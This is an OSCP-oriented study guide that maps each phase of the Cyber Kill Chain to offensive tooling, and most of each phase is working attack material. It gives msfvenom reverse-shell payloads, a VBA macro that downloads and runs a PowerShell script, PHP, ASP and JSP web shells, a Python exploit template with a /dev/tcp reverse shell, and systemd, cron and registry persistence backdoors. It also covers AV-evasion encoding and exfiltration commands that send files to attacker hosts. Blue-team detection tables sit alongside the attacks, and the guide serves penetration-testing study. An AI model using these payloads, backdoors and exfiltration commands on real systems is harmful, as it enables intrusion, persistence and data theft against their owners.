Attack Lifecycle
Topic 4 — Understanding how adversaries operate from initial reconnaissance through objective completion, and how to model, detect, and simulate each phase.
The Attack Lifecycle describes the complete sequence of steps an adversary takes to achieve their objectives. Two dominant frameworks model this lifecycle:
- Cyber Kill Chain (Lockheed Martin) — A 7-phase linear model focused on disruption points
- MITRE ATT&CK — A comprehensive knowledge base of 14 tactics and hundreds of techniques based on real-world observations
Understanding the attack lifecycle is critical for OSCP because the exam essentially requires you to execute a condensed kill chain against multiple targets within 23 hours.
Table of Contents
- Cyber Kill Chain (Lockheed Martin)
- MITRE ATT&CK Framework
- OSCP Exam Mapping
- Detailed Phase Walkthroughs
- Practical Examples
- Lab Exercises
- Key Tools Reference
- Exam Tips
- Cross-References
1. Cyber Kill Chain (Lockheed Martin)
The Cyber Kill Chain was developed by Lockheed Martin in 2011. It identifies seven phases an adversary must complete to successfully execute an attack. The core insight: disrupting any phase breaks the chain and prevents the attack.
graph LR
A[1. Reconnaissance] --> B[2. Weaponization]
B --> C[3. Delivery]
C --> D[4. Exploitation]
D --> E[5. Installation]
E --> F[6. Command & Control]
F --> G[7. Actions on Objectives]
style A fill:#E3F2FD,stroke:#1565C0
style B fill:#E3F2FD,stroke:#1565C0
style C fill:#E1F5FE,stroke:#0288D1
style D fill:#FFF3E0,stroke:#E65100
style E fill:#FFF3E0,stroke:#E65100
style F fill:#FFEBEE,stroke:#C62828
style G fill:#FFEBEE,stroke:#C62828
Phase 1: Reconnaissance
Objective: Gather intelligence about the target to identify potential attack vectors.
Passive vs Active Reconnaissance
| Aspect | Passive Reconnaissance | Active Reconnaissance |
|---|---|---|
| Definition | Gathering info without directly interacting with the target | Directly probing the target systems |
| Detectability | Low — target is unaware | High — generates logs and alerts |
| Risk | Minimal | Higher — may trigger IDS/IPS |
| Timing | Always first phase | After passive recon |
Passive Reconnaissance Techniques
OSINT (Open Source Intelligence) Sources:
| Source Category | What You Find | Tools |
|---|---|---|
| DNS Records | Subdomains, mail servers, TXT records | dig, nslookup, dnsrecon |
| WHOIS | Domain registration, org info, nameservers | whois, whois.domaintools.com |
| Search Engines | Exposed pages, directories, files | Google Dorking, shodan, censys |
| Social Media | Employee names, tech stack, org structure | LinkedIn, GitHub, Twitter |
| Certificate Transparency | Registered domains and subdomains | crt.sh, censys |
| Job Postings | Technology stack, infrastructure hints | Company career pages |
| Public Repos | Source code, configs, credentials | GitHub, GitLab search |
| Archive Data | Historical website content | web.archive.org |
Passive Reconnaissance Commands:
# DNS enumeration (passive — queries public resolvers)
dig example.com ANY
dig example.com AXFR # Zone transfer attempt
nslookup -type=MX example.com
# WHOIS lookup
whois example.com
# Certificate transparency log search
# Find all certificates issued for *.example.com
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u
# Shodan CLI (requires API key)
shodan search "hostname:example.com"
shodan search "http.component:\"Apache\" org:\"Target Corp\""
# Google Dorking examples (manual, via browser)
# site:example.com filetype:pdf
# site:example.com inurl:admin
# site:example.com intitle:"index of"
# site:example.com filetype:env
# site:example.com ext:php?
theHarvester — Comprehensive Passive Recon:
# Basic usage
theHarvester -d example.com -b all
# Specific sources
theHarvester -d example.com -b google,bing,linkedin,github
theHarvester -d example.com -b crt,vmware,fullhunt
# With DNS brute force and reverse DNS
theHarvester -d example.com -b all -f output -n -d -r
Maltego — Visual OSINT:
Key Transformations:
├── Domain → DNS Records
├── Domain → Whois Details
├── IP Address → Geolocation
├── IP Address → ASN Info
├── Person → LinkedIn Profile
├── Person → Email Addresses
├── Email → Associated Domains
└── Domain → Subdomains (via CT logs)
Active Reconnaissance Techniques
Network Scanning:
# Nmap — The Swiss Army Knife
# Basic TCP SYN scan (stealthy, requires root)
nmap -sS -p- 10.10.10.1
# Service and version detection
nmap -sV -sC -p- 10.10.10.1
# OS detection
nmap -O --osscan-guess 10.10.10.1
# Aggressive scan (combines multiple options)
nmap -A -T4 -p- 10.10.10.1
# Script scanning (vulnerability detection)
nmap --script vuln -p 80,443 10.10.10.1
nmap --script http-enum -p 80 10.10.10.1
nmap --script smb-enum-shares -p 445 10.10.10.1
# Timing templates (T0=slowest, T5=fastest)
nmap -T4 -p- 10.10.10.0/24 # Fast scan for lab environments
Web Application Reconnaissance:
# Directory and file enumeration
gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,backup,bak
ffuf -u http://10.10.10.1/FUZZ -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
subfinder -d example.com
amass enum -d example.com
# Technology fingerprinting
whatweb http://10.10.10.1
wappalyzer (browser extension)
# Nikto web vulnerability scanner
nikto -h http://10.10.10.1
Service-Specific Enumeration:
# SMB enumeration
enum4linux -a 10.10.10.1
smbclient -L \\\\10.10.10.1\\ -N
# SNMP enumeration
onesixtyone -c /usr/share/doc/snmp/snmp-community-strings.txt 10.10.10.1
# LDAP enumeration
ldapsearch -x -h 10.10.10.1 -s sub -b "dc=example,dc=com"
# FTP anonymous access
ftp 10.10.10.1
# Login: anonymous
# Password: anonymous
Detection Methods (Blue Team)
| Detection Method | What It Catches | Tool/Technology |
|---|---|---|
| DNS query monitoring | Zone transfers, subdomain enumeration | DNS logs, Zeek |
| Web server logs | Directory brute force, scanner signatures | Apache/Nginx logs, WAF |
| Network flow analysis | Port scanning patterns | NetFlow, Zeek |
| Shodan/Censys alerts | Asset exposure monitoring | Shodan alerts |
| Threat intelligence feeds | Known malicious IPs/domains | MISP, AlienVault OTX |
| UEBA | Unusual information gathering behavior | SIEM, Splunk |
Evasion Techniques (Red Team)
| Technique | Description | Implementation |
|---|---|---|
| Rate limiting | Slow down scans to avoid detection | nmap -T2, custom delays |
| Fragmentation | Split packets to evade IDS | nmap -f |
| Decoys | Mask source among fake IPs | nmap -D RND:10 |
| Source port manipulation | Use allowed source ports | nmap --source-port 53 |
| DNS over HTTPS | Bypass DNS monitoring | doH clients |
| Proxy chains | Route through intermediaries | proxychains |
Phase 2: Weaponization
Objective: Create a deliverable attack payload by pairing an exploit with a malicious payload.
Exploit + Payload = Weapon
┌─────────────────┐ ┌─────────────────┐
│ EXPLOIT │ │ PAYLOAD │
│ │ │ │
│ Exploits a │ + │ Executes after │
│ vulnerability │ │ exploitation │
│ to gain code │ │ (shell, malware, │
│ execution │ │ backdoor, etc.) │
└─────────────────┘ └─────────────────┘
│ │
└───────────┬───────────┘
▼
┌────────────────┐
│ WEAPON │
│ (Combined) │
└────────────────┘
msfvenom Deep Dive
msfvenom is the Metasploit payload generator (merged from msfpayload and msfencode).
Core Syntax:
msfvenom -p <payload> [options] -f <format> -o <output>
Common Payloads:
| Payload | Description | Use Case |
|---|---|---|
windows/x64/meterpreter/reverse_tcp |
Full Meterpreter shell (x64) | Windows x64 targets |
windows/meterpreter/reverse_tcp |
Full Meterpreter shell (x86) | Windows x86 targets |
linux/x86/meterpreter/reverse_tcp |
Full Meterpreter shell (Linux x86) | Linux x86 targets |
linux/x86_64/meterpreter/reverse_tcp |
Full Meterpreter shell (Linux x64) | Linux x64 targets |
windows/x64/meterpreter/reverse_https |
Encrypted C2 over HTTPS | Evasion of HTTP inspection |
windows/x64/meterpreter/reverse_tcp_allports |
Tries all ports | Firewall evasion |
php/meterpreter/reverse_tcp |
PHP-based payload | Web app exploitation |
java/jsp_shell_reverse_tcp |
JSP web shell | Java web apps |
cmd/unix/reverse_bash |
Simple bash reverse shell | Unix quick access |
python/meterpreter/reverse_tcp |
Python-based payload | Python environments |
Generating Common Payloads:
# Windows x64 reverse TCP shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o payload.exe
# Windows x86 reverse TCP shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o payload.exe
# Linux x64 ELF shell
msfvenom -p linux/x86_64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f elf -o payload.elf
# Windows x64 reverse HTTPS (encrypted C2)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f exe -o payload.exe
# PHP reverse shell (for web upload)
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.php
# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f asp -o shell.asp
# JSP web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw -o shell.jsp
# WAR file (deployable web archive)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f war -o shell.war
# PowerShell one-liner (for phishing or drive-by)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f psh-reflection
# Python one-liner
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f raw
# Bash reverse shell (no encoding)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.5 LPORT=4443 -f raw
# Windows x64 staged payload (smaller initial download)
msfvenom -p windows/x64/meterpreter/staged_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o staged.exe
# Windows x64 stageless payload (larger, no second stage)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.5 LPORT=4443 -f exe -o stageless.exe
Staged vs Stageless Payloads:
| Feature | Staged | Stageless |
|---|---|---|
| Size | Small initial payload | Large single payload |
| Delivery | Two-stage download | Single delivery |
| Reliability | Depends on C2 availability | More reliable |
| Evasion | Better (smaller footprint) | Worse (larger footprint) |
| Use Case | Network restrictions, AV evasion | Unreliable networks |
Encoding and Evasion:
# Apply encoding to evade basic AV signatures
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe
# Available encoders
msfvenom -l encoders
# Common encoders:
# x86/shikata_ga_nai - Polymorphic XOR (most reliable)
# x86/cjk - CJK encoding
# x86/countdown - Countdown encoder
# x86/fnstenv_mov - Context state encoder
# x86/jmp_call_additive - Additive encoder
# x86/services - Service-based encoder
Custom Payload Options:
# Set user agent for HTTP payloads
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.14.5 LPORT=8080 USERAGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64)" -f exe -o payload.exe
# Set exit on session end
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 EXITFUNC=thread -f exe -o payload.exe
# EXITFUNC options:
# process - Terminate the process (default)
# thread - Exit the thread silently
# none - Don't exit (may leave artifacts)
Other Weaponization Tools
| Tool | Purpose | Description |
|---|---|---|
| Cobalt Strike | Advanced C2 and payload gen | generate command for custom beacons |
| Sliver | Open-source C2 framework | sliver-cli server package |
| Veil-Evasion | AV evasion payload gen | Generates undetected payloads |
| Shellter | PE infecter | Injects payloads into legitimate executables |
| UPX | Binary packer | Compresses executables (may trigger AV) |
| Donut | .NET to shellcode | Generates shellcode from .NET assemblies |
| Chameleon | AV evasion | Modifies payloads to bypass AV |
Phase 3: Delivery
Objective: Transfer the weaponized payload to the target system.
Delivery Vectors
| Vector | Description | Risk Level | OSCP Relevance |
|---|---|---|---|
| Spear Phishing Email | Targeted email with malicious attachment/link | High | Medium (client-side attacks) |
| Malicious Attachment | DOC, XLS, PDF with embedded exploit | High | Medium |
| Malicious Link | URL leading to exploit kit or download | Medium | Low |
| USB Drop | Physical USB device with autorun malware | High (physical access) | Low |
| Drive-by Download | Compromised website auto-delivers payload | Medium | Low |
| Watering Hole | Compromise site the target frequently visits | Medium | Low |
| Web Vulnerability | Upload via web app vulnerability | High | Very High |
| Exploit Delivery | Direct exploitation delivers payload | High | Very High |
| Removable Media | USB/DVD with malicious content | Medium | Low |
| Supply Chain | Compromise software update/distribution | Very High | Low |
Email-Based Delivery
Social-Engineer Toolkit (SET):
# Launch SET
setoolkit
# Menu options relevant to delivery:
# 1) Social-Engineering Attacks
# 1) Spear-Phishing Attack Vectors
# 1) Fake Login Entity (credential harvester)
# 2) Mass Mailer Attack (bulk phishing)
# 3) Credential Harvester Attack
# 4) Email Web Portal Infectious Agent
# 5) Archive Document Attack (malicious DOC/PDF)
# 6) Custom Message (fully custom phishing)
# 2) Website Attack Vectors
# 1) Credential Harvester
# 2) Credential Proxy
# 3) Tabnabbing
# 4) Web Jacking
# 5) Multi-Attack
# 3) Infectious Media Generator
# 1) USB/CDC (USB drive attack)
# 2) ISO Image (burnable disc)
Creating a Malicious Document:
# Using SET to create a malicious Word document
setoolkit
# Select: 1 > 1 > 5 (Archive Document Attack)
# Choose payload type
# Specify LHOST and LPORT
# SET generates a Word doc with embedded macro
# Manual macro creation (for understanding)
# Create a Word document with VBA macro:
Sub AutoOpen()
Shell("cmd.exe /c powershell -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/evil.ps1')\"", vbHide)
End Sub
gophish — Phishing Framework:
# Launch gophish
./gophish
# Web UI at https://localhost:3333
# Steps:
# 1. Create Sending Profile (SMTP configuration)
# 2. Create Landing Page (credential harvester or redirect)
# 3. Create Email Template (phishing email content)
# 4. Create Users/Groups (targets)
# 5. Create and Launch Campaign
Web-Based Delivery (OSCP-Critical)
Web Shell Upload:
# Method 1: Direct upload via vulnerable web app
# Upload shell.php through file upload vulnerability
# Method 2: Upload via FTP
ftp 10.10.10.1
put shell.php
# Method 3: Upload via web management interface
# Many OSCP machines have admin panels with file upload
# Method 4: Write via command injection
curl http://10.10.10.1/vuln.php?cmd=echo%20'<?php%20system($_GET["cmd"]);?>'%20>%20/shell.php
# Method 5: Upload via database backup
# Upload .sql file, then access it via web
Common Web Shell Contents:
<!-- Simple PHP web shell -->
<?php system($_GET['cmd']); ?>
<!-- More feature-rich PHP shell -->
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
die;
}
?>
<!-- ASP web shell (IIS) -->
<%
cmd = request("cmd")
set r = createobject("wscript.shell")
set x = r.exec("cmd /c " & cmd)
Response.Write x.stdout.readall
%>
<!-- JSP web shell (Tomcat) -->
<%@ page import="java.util.*,java.io.*" %>
<%
if("password".equals(request.getParameter("pwd"))){
Runtime r = Runtime.getRuntime();
Process p = r.runtime.exec(request.getParameter("cmd"));
InputStream i = p.getInputStream();
byte[] b = new byte[2048];
while(i.read(b) != -1)
out.println(new String(b));
}
%>
Detection Methods (Blue Team)
| Detection Method | What It Catches | Tool/Technology |
|---|---|---|
| Email gateway filtering | Malicious attachments, links | Proofpoint, Mimecast |
| Sandboxing | Dynamic analysis of attachments | Cuckoo Sandbox, Any.Run |
| URL reputation | Known malicious URLs | URL filtering, threat intel |
| DLP (Data Loss Prevention) | Sensitive data in emails | Symantec DLP, McAfee DLP |
| Web application firewall | Web shell uploads, injections | ModSecurity, commercial WAFs |
| File integrity monitoring | Unauthorized file changes | AIDE, OSSEC, Tripwire |
Evasion Techniques (Red Team)
| Technique | Description |
|---|---|
| Macro obfuscation | Encode/obfuscate VBA macros |
| Template injection | Embed payload in document template |
| Image steganography | Hide payload in image data |
| URL shortening | Hide malicious URLs behind shorteners |
| Domain fronting | Use legitimate CDN domain for C2 |
| Living off the Land | Use legitimate tools (PowerShell, WMI) |
Phase 4: Exploitation
Objective: Trigger the vulnerability to execute the payload and gain initial code execution.
Exploitation Methodology
┌─────────────────────────────────────────────────────────────┐
│ EXPLOITATION METHODOLOGY │
├─────────────────────────────────────────────────────────────┤
│ │
│ 1. Identify Vulnerable Service │
│ └── nmap -sV -p- 10.10.10.1 │
│ │
│ 2. Research Vulnerability │
│ └── searchsploit <service> <version> │
│ └── Google: "service version exploit" │
│ └── Exploit-DB, GitHub, CVE databases │
│ │
│ 3. Select Exploit │
│ └── Reliability > Complexity │
│ └── Prefer Metasploit modules when available │
│ └── Custom scripts for unique scenarios │
│ │
│ 4. Prepare Exploit │
│ └── Modify LHOST, LPORT, target IP │
│ └── Adjust payload options │
│ └── Test in controlled environment │
│ │
│ 5. Execute Exploit │
│ └── Run exploit against target │
│ └── Monitor for shell/callback │
│ │
│ 6. Stabilize Shell │
│ └── Upgrade to interactive TTY │
│ └── Upgrade to Meterpreter (if applicable) │
│ │
└─────────────────────────────────────────────────────────────┘
Metasploit Exploitation Workflow
# Start Metasploit
msfconsole
# Search for exploits
searchsploit Apache 2.4.49
search type:exploit platform:windows service:smb
# In Metasploit
search apache struts
search ms17-010
search eternalblue
# Select and configure exploit
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.1
set RPORT 8080
set LHOST 10.10.14.5
set LPORT 4443
# View exploit options
show options
show targets
# Set target if needed
set TARGET 0
# Select payload
show payloads
set PAYLOAD windows/x64/meterpreter/reverse_tcp
# View payload options
show options
# Execute
exploit
# Or run in background
exploit -j -z
# List active sessions
sessions
sessions -l
# Interact with a session
sessions -i 1
Common Metasploit Exploits (OSCP-Relevant):
| Exploit Module | Vulnerability | Target | CVE |
|---|---|---|---|
exploit/multi/http/apache_struts2_content_type_ognl |
Struts2 OGNL injection | Java/Web | CVE-2017-5638 |
exploit/windows/smb/ms17_010_eternalblue |
EternalBlue SMB | Windows | CVE-2017-0144 |
exploit/multi/http/jenkins_cli |
Jenkins CLI gadget | Java/Web | CVE-2016-0788 |
exploit/unix/webapp/tomcat_mgr_upload |
Tomcat Manager auth | Java/Web | N/A (auth required) |
exploit/windows/http/wordpress_crop_image_rce |
WordPress image RCE | PHP/Web | CVE-2019-19985 |
exploit/multi/http/wp_advisory_invoice_privesc |
WP plugin privesc | PHP/Web | CVE-2020-28605 |
exploit/windows/http/fortigate_c_139_upload |
FortiGate upload | Network | CVE-2018-13946 |
exploit/linux/http/dlink_dir_300nur_cmd |
D-Link command inj | Linux/IoT | CVE-2019-16920 |
exploit/multi/http/nuuo_cms_exec |
Nuuo CMS RCE | PHP/Web | CVE-2018-7328 |
exploit/windows/http/pan_os_virtual_system |
Palo Alto VS | Network | CVE-2019-4392 |
Manual Exploitation (Non-Metasploit)
Python Exploit Script Template:
#!/usr/bin/env python3
import socket
import sys
import struct
import subprocess
# Configuration
TARGET_IP = "10.10.10.1"
TARGET_PORT = 80
LHOST = "10.10.14.5"
LPORT = 4443
# Generate payload (or use pre-generated shellcode)
# For demonstration, using a simple reverse shell command
payload = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
# Craft the exploit request
exploit_request = f"""POST /vulnerable_endpoint HTTP/1.1\r
Host: {TARGET_IP}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: {len(payload)}\r
\r
{payload}"""
try:
# Connect to target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
print(f"[+] Connected to {TARGET_IP}:{TARGET_PORT}")
# Send exploit
s.sendall(exploit_request.encode())
print("[+] Exploit sent")
# Receive response
response = s.recv(4096)
print(f"[-] Response: {response.decode(errors='ignore')}")
s.close()
print("[+] Connection closed")
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
Buffer Overflow Exploitation Steps:
# Step 1: Determine crash point
# Use pattern_create.rb to generate unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
# Step 2: Send pattern to find EIP offset
# Run the vulnerable app with the pattern as input
# Step 3: Find exact offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q <EIP_value>
# Step 4: Find bad characters
# Send all bytes except known bad chars, compare in debugger
# Step 5: Find JMP ESP (or equivalent) instruction
# Using mona.py in Immunity Debugger:
# !mona find -s "\xff\xe4" -m <module_name>
# Step 6: Generate shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4443 -b '\x00\x0a\x0d' -f python
# Step 7: Craft final exploit
# [Padding to offset][JMP ESP address][NOP sled][Shellcode][Remaining buffer]
Shell Stabilization
# Upgrade to proper TTY (Linux)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Then: Ctrl+Z, stty raw -echo, fg
# Better TTY upgrade
python3 -c 'import pty,os,signal; signal.signal(signal.SIGTTIN,signal.SIG_IGN); os.dup2(os.open("/dev/tty",os.O_RDWR),0); os.dup2(1,1); os.dup2(1,2); pty.spawn("/bin/bash")'
# Upgrade to Meterpreter (if using Metasploit)
# From regular shell:
sessions -u 1
# From Meterpreter:
# Get system privileges
getsystem
# Run as specific user
run post/multi/recon/local_exploit_suggester
Detection Methods (Blue Team)
| Detection Method | What It Catches | Tool/Technology |
|---|---|---|
| IDS/IPS signatures | Known exploit patterns | Snort, Suricata |
| EDR behavioral detection | Suspicious process execution | CrowdStrike, SentinelOne |
| Anomaly detection | Unusual network connections | Zeek, network monitoring |
| Application logs | Error patterns, injection attempts | Web server logs, app logs |
| Memory forensics | Exploit artifacts in memory | Volatility |
| Honeypots | Exploitation attempts | T-Pot, Honeyd |
Evasion Techniques (Red Team)
| Technique | Description |
|---|---|
| Zero-day exploits | Unknown vulnerabilities, no signatures |
| N-day with custom exploit | Known vuln but custom implementation |
| Exploit obfuscation | Modify exploit code to avoid signatures |
| Timing-based attacks | Slow exploitation to avoid rate detection |
| Living off the Land | Use built-in tools instead of exploits |
Phase 5: Installation
Objective: Establish a persistent foothold on the compromised system.
Persistence Mechanisms
Linux Persistence:
| Mechanism | Description | Command Example |
|---|---|---|
| Cron Job | Scheduled task runs payload | echo "* * * * * /tmp/backdoor" | crontab - |
| Systemd Service | System service auto-starts | Create .service file in /etc/systemd/system/ |
| SSH Key | Add attacker’s public key | echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys |
| SUID Binary | Setuid backdoor binary | cp /bin/bash /tmp/backdoor && chmod +s /tmp/backdoor |
| Init Script | Startup script execution | Add to /etc/rc.local or init.d |
| Malicious Library | LD_PRELOAD hijacking | echo "/tmp/evil.so" >> /etc/ld.so.preload |
| User Account | Create hidden backdoor user | useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor |
| Rootkit | Kernel-level hiding | Load malicious kernel module |
Windows Persistence:
| Mechanism | Description | Command Example |
|---|---|---|
| Registry Run Key | Auto-start on login | reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d C:\temp\backdoor.exe |
| Scheduled Task | Scheduled execution | schtasks /create /tn "Update" /tr C:\temp\backdoor.exe /sc onlogon |
| Service | Windows service | sc create Backdoor binPath= "C:\temp\backdoor.exe" start= auto |
| Startup Folder | Auto-start on login | Copy to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ |
| WMI Event Subscription | Event-triggered execution | wmic /namespace:\\root\subscription |
| DLL Hijacking | Load malicious DLL | Place DLL in application search path |
| Shortcut (.lnk) Hijack | Malicious shortcut | Replace legitimate .lnk with malicious one |
| COM Hijacking | CLSID redirection | Modify registry CLSID entries |
Detailed Persistence Examples:
# Linux: Systemd service persistence
cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
systemctl enable system-update.service
systemctl start system-update.service
# Linux: SSH key persistence
ssh-keygen -t rsa -b 4096 -f /tmp/persist -N ""
cat /tmp/persist.pub | ssh user@target 'cat >> ~/.ssh/authorized_keys'
# Windows: Registry persistence (via Meterpreter)
# In Meterpreter:
run persistence -U -i 5 -p 4443 -r 10.10.14.5
# Windows: Scheduled task (via PowerShell)
schtasks /create /tn "WindowsUpdate" /tr "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5:8080/evil.ps1')" /sc onlogon /ru SYSTEM
# Windows: Service creation (via PowerShell)
New-Service -Name "SystemHealth" -BinaryPathName "C:\temp\backdoor.exe" -StartupType Automatic
Start-Service "SystemHealth"
Backdoor Types
| Type | Description | Pros | Cons |
|---|---|---|---|
| Reverse Shell | Target connects back to attacker | Bypasses inbound firewall | Requires listener |
| Bind Shell | Attacker connects to target port | No listener needed | Requires open port |
| Web Shell | HTTP-accessible shell script | Easy access via browser | Depends on web server |
| SSH Backdoor | Modified SSH with backdoor auth | Stealthy, encrypted | Requires SSH access |
| RDP Backdoor | Hidden RDP account | GUI access | High visibility |
| DNS Tunnel | C2 over DNS protocol | Evades most firewalls | Slow, complex |
Detection Methods (Blue Team)
| Detection Method | What It Catches | Tool/Technology |
|---|---|---|
| File integrity monitoring | New/modified system files | AIDE, OSSEC, Tripwire |
| Registry monitoring | New run keys, services | Windows Event Logs |
| Process monitoring | Suspicious process creation | EDR, Sysmon |
| Network monitoring | Unexpected outbound connections | Zeek, network IDS |
| Log analysis | New accounts, cron jobs | SIEM, log review |
| Startup analysis | Unauthorized startup items | Autoruns, startup scripts |
Phase 6: Command & Control
Objective: Establish and maintain communication channel between the compromised host and the attacker’s infrastructure.
C2 Channel Types
| Channel Type | Protocol | Port(s) | Stealth Level | Description |
|---|---|---|---|---|
| Direct TCP | Custom/TCP | Any | Low | Simple reverse shell |
| HTTP/HTTPS | HTTP/HTTPS | 80/443 | Medium | Blends with web traffic |
| DNS | DNS | 53 | High | Encodes data in DNS queries |
| ICMP | ICMP | N/A | High | Encodes data in ping packets |
| SMTP | SMTP | 25/587 | Medium | Uses email as C2 channel |
| IRC | IRC | 6667 | Medium | Chat protocol for C2 |
| P2P | Various | Various | High | Decentralized C2 |
| Cloud Services | HTTPS | 443 | Very High | Uses legitimate cloud APIs |
C2 Frameworks
Metasploit Multi-Handler:
# Set up listener in Metasploit
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4443
set ExitOnSession false
exploit -j -z
# For HTTPS (encrypted) C2
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.10.14.5
set LPORT 443
exploit -j -z
# For multiple simultaneous sessions
set AutoRunScript migrate -f
set ExitOnSession false
Sliver C2 Framework:
# Start Sliver server
sliver-server
# Generate implant
generate -o sliver.exe -f msi
# Or for Linux:
generate -o sliver.elf -f elf
# Connect to implant
connect <session-name>
# Interactive shell
shell
# Execute commands
execute whoami
execute ipconfig
# Download files
download C:\Windows\System32\config\SAM .\SAM
# Upload files
upload payload.exe C:\temp\payload.exe
Cobalt Strike (Commercial):
Key Features:
├── Beacon (implant)
│ ├── Sleeper (low-profile, periodic check-in)
│ ├── Interactive (real-time command execution)
│ └── Implant spawners (process injection)
├── C2 Profiles (customizable communication)
│ ├── HTTP/S with domain fronting
│ ├── DNS C2
│ └── SMB C2
├── Post-Exploitation
│ ├── Lateral movement (psexec, wmi, smb)
│ ├── Credential harvesting
│ └── Pivot/proxy capabilities
└── Team Server (multi-operator support)
C2 Evasion Techniques
| Technique | Description | Implementation |
|---|---|---|
| Domain Fronting | Use CDN domain to hide C2 domain | Set Host header to C2 domain, connect to CDN |
| JA3 Fingerprint Spoofing | Mimic legitimate TLS client | Modify TLS handshake parameters |
| Traffic Encapsulation | Encrypt C2 traffic | Use HTTPS, custom encryption |
| Low-and-Slow | Reduce check-in frequency | Long sleep intervals (hours) |
| Legitimate Service Abuse | Use cloud APIs as C2 | GitHub Gists, Dropbox, Slack |
| DNS Tunneling | Encode commands in DNS queries | iodine, dnscat2 |
| Dead Drop Resolvers | Indirect C2 via web pages | Beacon checks webpage for instructions |
DNS Tunneling Example:
# Server side (attacker)
iodine -d -P password tun0
# Client side (compromised host)
iodine -f -P password <attacker_ip>
# Data is encoded in DNS subdomain queries
# Example: aGVsbG8gd29ybGQ.c2VjcmV0.tunnel.example.com
# Decodes to: "hello world" + "secret"
Detection Methods (Blue Team)
| Detection Method | What It Catches | Tool/Technology |
|---|---|---|
| Network traffic analysis | Unusual outbound connections | Zeek, Suricata |
| DNS analysis | High entropy DNS queries, DGA | DNS logs, Zeek DNS |
| Certificate analysis | Self-signed, suspicious certs | JA3/JA4 fingerprinting |
| Behavioral analytics | Beaconing patterns | Darktrace, CrowdStrike |
| Proxy logs | Suspicious HTTP requests | Proxy server logs |
| EDR network monitoring | Process-to-IP correlation | EDR solutions |
Phase 7: Actions on Objectives
Objective: Achieve the adversary’s ultimate goal — data theft, destruction, or disruption.
Objective Types
| Objective | Description | Techniques | OSCP Relevance |
|---|---|---|---|
| Data Exfiltration | Steal sensitive data | Archive, encrypt, transfer | High (proof.txt) |
| Destruction | Destroy data/systems | Wipe disks, corrupt files | Low |
| Ransomware | Encrypt and extort | Crypto-ransomware | Low |
| Lateral Movement | Expand access | Pass the hash, RDP, WMI | Very High |
| Privilege Escalation | Gain higher access | Kernel exploits, misconfigs | Very High |
| Resource Hijacking | Use target resources | Crypto mining, botnet | Low |
Data Exfiltration Techniques
# Method 1: Netcat
# Attacker: nc -lvnp 4444 > exfil_data.txt
# Target: nc 10.10.14.5 4444 < sensitive_data.txt
# Method 2: Curl
curl -X POST http://10.10.14.5:8080/collect -d @sensitive_data.txt
# Method 3: Wget
wget --post-file=sensitive_data.txt http://10.10.14.5:8080/collect
# Method 4: SCP
scp sensitive_data.txt user@10.10.14.5:/tmp/
# Method 5: FTP
ftp 10.10.14.5
put sensitive_data.txt
# Method 6: Base64 encode + DNS exfiltration
base64 sensitive_data.txt | split -b 50 - chunks_
for chunk in chunks_*; do
dig +short $(cat $chunk).exfil.attacker.com
done
# Method 7: Meterpreter download
# In Meterpreter:
download C:\path\to\sensitive\file.exe .\
download /etc/shadow .\shadow
# Method 8: Archive and exfiltrate
tar czf /tmp/data.tar.gz /path/to/sensitive/
curl -X POST -F "file=@/tmp/data.tar.gz" http://10.10.14.5:8080/upload
OSCP-Specific Objectives
